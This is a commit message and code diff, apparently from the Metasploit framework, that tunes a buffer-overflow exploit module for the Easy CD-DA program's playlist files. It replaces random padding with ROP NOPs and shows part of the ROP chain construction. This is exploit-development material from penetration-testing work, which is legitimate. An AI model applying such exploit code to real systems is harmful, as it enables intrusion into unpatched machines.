Partially revert "Replace unnecessary NOP sled with random text" to improve reliability.

This partially reverts commit 1247166.

Author: sgabe

modules/exploits/windows/fileformat/easycdda_pls_bof.rb

@@ -103,7 +103,7 @@ def exploit
       0x00429692   # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
     ].flatten.pack('V*')
 
-    sploit =  rand_text_alpha_upper(target['Offset'])
+    sploit =  rop_nops(target['Offset'] / 4)
     sploit << [target.ret].pack("V")
     sploit << rop_nops(22)
     sploit << rop_gadgets